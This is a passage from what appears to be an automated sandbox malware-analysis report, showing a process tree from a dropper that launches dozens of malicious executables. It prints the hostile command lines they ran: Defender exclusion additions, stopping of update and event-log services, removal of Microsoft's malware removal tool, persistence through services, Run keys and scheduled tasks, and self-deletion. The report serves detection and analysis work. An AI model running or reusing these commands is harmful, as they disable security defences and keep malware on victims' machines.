        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        7⤵
        
        PID:6964
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        8⤵
        Launches sc.exe
        
        PID:7992
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        
        PID:1572
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:6280
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        8⤵
        Launches sc.exe
        
        PID:1372
        
        C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        8⤵
        Launches sc.exe
        
        PID:6992
        
        C:\Users\Admin\AppData\Local\Temp\1053927741.exe
        
        C:\Users\Admin\AppData\Local\Temp\1053927741.exe
        7⤵
        
        PID:2448
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:5840
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:6956
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:8096
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:7560
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:1436
        
        C:\Users\Admin\AppData\Local\Temp\165725843.exe
        
        C:\Users\Admin\AppData\Local\Temp\165725843.exe
        7⤵
        
        PID:3344
        
        C:\Users\Admin\AppData\Local\Temp\135832044.exe
        
        C:\Users\Admin\AppData\Local\Temp\135832044.exe
        7⤵
        
        PID:9440
        
        C:\Users\Admin\AppData\Local\Temp\1252130925.exe
        
        C:\Users\Admin\AppData\Local\Temp\1252130925.exe
        7⤵
        
        PID:9644
    - - C:\Users\Admin\Desktop\Files\6nteyex7.exe
        
        "C:\Users\Admin\Desktop\Files\6nteyex7.exe"
        5⤵
        
        PID:5628
      - C:\Users\Admin\Desktop\Files\6nteyex7.exe
        
        "C:\Users\Admin\Desktop\Files\6nteyex7.exe"
        6⤵
        
        PID:6332
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5628 -s 260
        6⤵
        Program crash
        
        PID:9964
    - - C:\Users\Admin\Desktop\Files\XClient_protected.exe
        
        "C:\Users\Admin\Desktop\Files\XClient_protected.exe"
        5⤵
        
        PID:4124
    - - C:\Users\Admin\Desktop\Files\naver.exe
        
        "C:\Users\Admin\Desktop\Files\naver.exe"
        5⤵
        
        PID:6700
    - - C:\Users\Admin\Desktop\Files\te3tlsre.exe
        
        "C:\Users\Admin\Desktop\Files\te3tlsre.exe"
        5⤵
        
        PID:6640
    - - C:\Users\Admin\Desktop\Files\CnyvVl.exe
        
        "C:\Users\Admin\Desktop\Files\CnyvVl.exe"
        5⤵
        
        PID:1540
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:8028
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1540 -s 896
        6⤵
        Program crash
        
        PID:6276
    - - C:\Users\Admin\Desktop\Files\runtime.exe
        
        "C:\Users\Admin\Desktop\Files\runtime.exe"
        5⤵
        
        PID:7452
    - - C:\Users\Admin\Desktop\Files\build555.exe
        
        "C:\Users\Admin\Desktop\Files\build555.exe"
        5⤵
        
        PID:6796
    - - C:\Users\Admin\Desktop\Files\BroadcomRetest.exe
        
        "C:\Users\Admin\Desktop\Files\BroadcomRetest.exe"
        5⤵
        
        PID:6332
    - - C:\Users\Admin\Desktop\Files\file1.exe
        
        "C:\Users\Admin\Desktop\Files\file1.exe"
        5⤵
        
        PID:1748
    - - C:\Users\Admin\Desktop\Files\WatchDog.exe
        
        "C:\Users\Admin\Desktop\Files\WatchDog.exe"
        5⤵
        
        PID:6964
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6964 -s 1300
        6⤵
        Program crash
        
        PID:7260
    - - C:\Users\Admin\Desktop\Files\pimer_bbbcontents7.exe
        
        "C:\Users\Admin\Desktop\Files\pimer_bbbcontents7.exe"
        5⤵
        
        PID:8664
      - C:\Users\Admin\Desktop\Files\pimer_bbbcontents7.exe
        
        "C:\Users\Admin\Desktop\Files\pimer_bbbcontents7.exe"
        6⤵
        
        PID:9280
    - - C:\Users\Admin\Desktop\Files\Microsoft.exe
        
        "C:\Users\Admin\Desktop\Files\Microsoft.exe"
        5⤵
        
        PID:9232
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:9132
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:3180
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:7188
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:8328
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:1832
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:9004
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:5748
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:6128
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:3308
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:7980
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:5276
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:1544
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:6532
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:10716
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:2656
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:10140
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:4840
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11516
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11368
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:12068
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:9984
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:12268
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:2352
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:5600
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:8420
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:4616
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11296
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11648
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11096
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:10200
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:7304
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:2004
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11272
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:11428
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:9548
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\svhost.exe
        6⤵
        
        PID:12208
    - - C:\Users\Admin\Desktop\Files\setup.exe
        
        "C:\Users\Admin\Desktop\Files\setup.exe"
        5⤵
        
        PID:2820
      - C:\Users\Admin\AppData\Local\Temp\is-AFMR5.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-AFMR5.tmp\setup.tmp" /SL5="$A027E,46398608,813568,C:\Users\Admin\Desktop\Files\setup.exe"
        6⤵
        
        PID:5588
    - - C:\Users\Admin\Desktop\Files\Journal.exe
        
        "C:\Users\Admin\Desktop\Files\Journal.exe"
        5⤵
        
        PID:8540
    - - C:\Users\Admin\Desktop\Files\cryyy.exe
        
        "C:\Users\Admin\Desktop\Files\cryyy.exe"
        5⤵
        
        PID:6200
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6200 -s 1368
        6⤵
        Program crash
        
        PID:1872
    - - C:\Users\Admin\Desktop\Files\crazyCore.exe
        
        "C:\Users\Admin\Desktop\Files\crazyCore.exe"
        5⤵
        
        PID:6400
    - - C:\Users\Admin\Desktop\Files\vidar.exe
        
        "C:\Users\Admin\Desktop\Files\vidar.exe"
        5⤵
        
        PID:1412
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\Desktop\Files\vidar.exe" & rd /s /q "C:\ProgramData\DGCFHIDAKECF" & exit
        6⤵
        
        PID:11452
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        Delays execution with timeout.exe
        
        PID:8628
    - - C:\Users\Admin\Desktop\Files\S%D0%B5tu%D1%80111.exe
        
        "C:\Users\Admin\Desktop\Files\S%D0%B5tu%D1%80111.exe"
        5⤵
        
        PID:10792
    - - C:\Users\Admin\Desktop\Files\t.exe
        
        "C:\Users\Admin\Desktop\Files\t.exe"
        5⤵
        
        PID:5056
    - - C:\Users\Admin\Desktop\Files\DIFF.exe
        
        "C:\Users\Admin\Desktop\Files\DIFF.exe"
        5⤵
        
        PID:8356
    - - C:\Users\Admin\Desktop\Files\UNICO-Venta3401005.exe
        
        "C:\Users\Admin\Desktop\Files\UNICO-Venta3401005.exe"
        5⤵
        
        PID:4364
      - C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe
        
        "C:\Archivos de programa\UNICO - Ventas\ODBC_VEN.exe"
        6⤵
        
        PID:8364
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Archivos de programa\UNICO - Ventas\ODBC.cmd" "
        6⤵
        
        PID:12792
    - - C:\Users\Admin\Desktop\Files\foggy-mountains.exe
        
        "C:\Users\Admin\Desktop\Files\foggy-mountains.exe"
        5⤵
        
        PID:10516
    - - C:\Users\Admin\Desktop\Files\Beefy.exe
        
        "C:\Users\Admin\Desktop\Files\Beefy.exe"
        5⤵
        
        PID:2272
    - - C:\Users\Admin\Desktop\Files\processclass.exe
        
        "C:\Users\Admin\Desktop\Files\processclass.exe"
        5⤵
        
        PID:9904
    - - C:\Users\Admin\Desktop\Files\Office2024.exe
        
        "C:\Users\Admin\Desktop\Files\Office2024.exe"
        5⤵
        
        PID:2976
      - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13240
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:6988
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:7160
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:13192
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:9548
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:9516
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        6⤵
        Launches sc.exe
        
        PID:3820
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        6⤵
        Launches sc.exe
        
        PID:12596
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        6⤵
        Power Settings
        
        PID:13292
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        6⤵
        Power Settings
        
        PID:9104
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        Power Settings
        
        PID:6264
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        Power Settings
        
        PID:6516
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "QKJNEQWA"
        6⤵
        Launches sc.exe
        
        PID:8472
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "QKJNEQWA" binpath= "C:\ProgramData\hsbpaqlrqhmp\rzyyvjydedax.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:8068
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:3068
    - - C:\Users\Admin\Desktop\Files\requirements.exe
        
        "C:\Users\Admin\Desktop\Files\requirements.exe"
        5⤵
        
        PID:8184
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\requirements.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4544
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'requirements.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5528
    - - C:\Users\Admin\Desktop\Files\Vidar.exe
        
        "C:\Users\Admin\Desktop\Files\Vidar.exe"
        5⤵
        
        PID:8548
    - - C:\Users\Admin\Desktop\Files\ptihjawdthas.exe
        
        "C:\Users\Admin\Desktop\Files\ptihjawdthas.exe"
        5⤵
        
        PID:11296
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C schtasks /create /tn WinApp /tr %APPDATA%\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
        6⤵
        
        PID:9996
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn WinApp /tr C:\Users\Admin\AppData\Roaming\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10480
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3244
    - - C:\Users\Admin\Desktop\Files\bildnewl.exe
        
        "C:\Users\Admin\Desktop\Files\bildnewl.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:5068
    - - C:\Users\Admin\Desktop\Files\t1.exe
        
        "C:\Users\Admin\Desktop\Files\t1.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5388
    - - C:\Users\Admin\Desktop\Files\loader_5879465914.exe
        
        "C:\Users\Admin\Desktop\Files\loader_5879465914.exe"
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3228
    - - C:\Users\Admin\Desktop\Files\xyaw4fkp.exe
        
        "C:\Users\Admin\Desktop\Files\xyaw4fkp.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5264
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:5256
    - - C:\Users\Admin\Desktop\Files\twztl.exe
        
        "C:\Users\Admin\Desktop\Files\twztl.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5320
    - - C:\Users\Admin\Desktop\Files\c2.exe
        
        "C:\Users\Admin\Desktop\Files\c2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5548
    - - C:\Users\Admin\Desktop\Files\pei.exe
        
        "C:\Users\Admin\Desktop\Files\pei.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2216
      - C:\Users\Admin\AppData\Local\Temp\1304425268.exe
        
        C:\Users\Admin\AppData\Local\Temp\1304425268.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5296
        
        C:\Users\Admin\sysnldcvmr.exe
        
        C:\Users\Admin\sysnldcvmr.exe
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        Suspicious use of SetWindowsHookEx
        
        PID:5960
        
        C:\Users\Admin\AppData\Local\Temp\1882916087.exe
        
        C:\Users\Admin\AppData\Local\Temp\1882916087.exe
        8⤵
        
        PID:8732
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:9908
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        10⤵
        
        PID:8808
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:10012
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        10⤵
        
        PID:2836
        
        C:\Users\Admin\AppData\Local\Temp\727013830.exe
        
        C:\Users\Admin\AppData\Local\Temp\727013830.exe
        8⤵
        
        PID:9092
        
        C:\Users\Admin\AppData\Local\Temp\333929433.exe
        
        C:\Users\Admin\AppData\Local\Temp\333929433.exe
        8⤵
        
        PID:8576
        
        C:\Users\Admin\AppData\Local\Temp\316401056.exe
        
        C:\Users\Admin\AppData\Local\Temp\316401056.exe
        8⤵
        
        PID:9496
    - - C:\Users\Admin\Desktop\Files\5.exe
        
        "C:\Users\Admin\Desktop\Files\5.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5144
    - - C:\Users\Admin\Desktop\Files\WinRarInstall.exe
        
        "C:\Users\Admin\Desktop\Files\WinRarInstall.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:6420
      - C:\Users\Admin\AppData\Local\Temp\winrar-info.exe
        
        "C:\Users\Admin\AppData\Local\Temp\winrar-info.exe"
        6⤵
        Executes dropped EXE
        
        PID:4572
      - C:\Users\Admin\AppData\Local\Temp\winrar-x64-701ru.exe
        
        "C:\Users\Admin\AppData\Local\Temp\winrar-x64-701ru.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:6268
    - - C:\Users\Admin\Desktop\Files\Client_protected.exe
        
        "C:\Users\Admin\Desktop\Files\Client_protected.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:4364
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4364 -s 1400
        6⤵
        Program crash
        
        PID:6868
    - - C:\Users\Admin\Desktop\Files\S%D0%B5tup.exe
        
        "C:\Users\Admin\Desktop\Files\S%D0%B5tup.exe"
        5⤵
        
        PID:5060
    - - C:\Users\Admin\Desktop\Files\343dsxs.exe
        
        "C:\Users\Admin\Desktop\Files\343dsxs.exe"
        5⤵
        
        PID:5384
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:6356
    - - C:\Users\Admin\Desktop\Files\neon.exe
        
        "C:\Users\Admin\Desktop\Files\neon.exe"
        5⤵
        
        PID:1100
      - C:\Windows\SYSTEM32\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:9088
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 10
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3644
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"
        7⤵
        
        PID:6328
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:1780
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
        6⤵
        
        PID:6052
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:5672
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        7⤵
        
        PID:6404
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:6320
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        7⤵
        
        PID:1784
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:9604
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        7⤵
        
        PID:6688
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:1432
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        7⤵
        
        PID:9852
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:10232
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        7⤵
        
        PID:7492
        
        C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        8⤵
        
        PID:10948
      - C:\Users\Admin\AppData\Local\Temp\neon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\neon.exe"
        6⤵
        
        PID:10796
    - - C:\Users\Admin\Desktop\Files\5_6253708004881862888.exe
        
        "C:\Users\Admin\Desktop\Files\5_6253708004881862888.exe"
        5⤵
        
        PID:7064
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:4464
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:6484
    - - C:\Users\Admin\Desktop\Files\esphvcion.exe
        
        "C:\Users\Admin\Desktop\Files\esphvcion.exe"
        5⤵
        
        PID:9996
    - - C:\Users\Admin\Desktop\Files\ConsoleApp3.exe
        
        "C:\Users\Admin\Desktop\Files\ConsoleApp3.exe"
        5⤵
        
        PID:3336
    - - C:\Users\Admin\Desktop\Files\Charter.exe
        
        "C:\Users\Admin\Desktop\Files\Charter.exe"
        5⤵
        
        PID:2112
    - - C:\Users\Admin\Desktop\Files\ldqj18tn.exe
        
        "C:\Users\Admin\Desktop\Files\ldqj18tn.exe"
        5⤵
        
        PID:8960
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Descending Descending.bat & Descending.bat
        6⤵
        
        PID:8904
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:10056
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        7⤵
        
        PID:9804
    - - C:\Users\Admin\Desktop\Files\87f3f2.exe
        
        "C:\Users\Admin\Desktop\Files\87f3f2.exe"
        5⤵
        
        PID:8792
    - - C:\Users\Admin\Desktop\Files\cookie250.exe
        
        "C:\Users\Admin\Desktop\Files\cookie250.exe"
        5⤵
        
        PID:7188
    - - C:\Users\Admin\Desktop\Files\T3.exe
        
        "C:\Users\Admin\Desktop\Files\T3.exe"
        5⤵
        
        PID:11288
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\Admin\Desktop\Files\T3.exe' -Force
        6⤵
        
        PID:12600
    - - C:\Users\Admin\Desktop\Files\clip.exe
        
        "C:\Users\Admin\Desktop\Files\clip.exe"
        5⤵
        
        PID:13020
    - - C:\Users\Admin\Desktop\Files\1.exe
        
        "C:\Users\Admin\Desktop\Files\1.exe"
        5⤵
        
        PID:13304
    - - C:\Users\Admin\Desktop\Files\svcyr.exe
        
        "C:\Users\Admin\Desktop\Files\svcyr.exe"
        5⤵
        
        PID:12852
    - - C:\Users\Admin\Desktop\Files\sgx4824p.exe
        
        "C:\Users\Admin\Desktop\Files\sgx4824p.exe"
        5⤵
        
        PID:9468
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Za Za.bat & Za.bat
        6⤵
        
        PID:4580
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
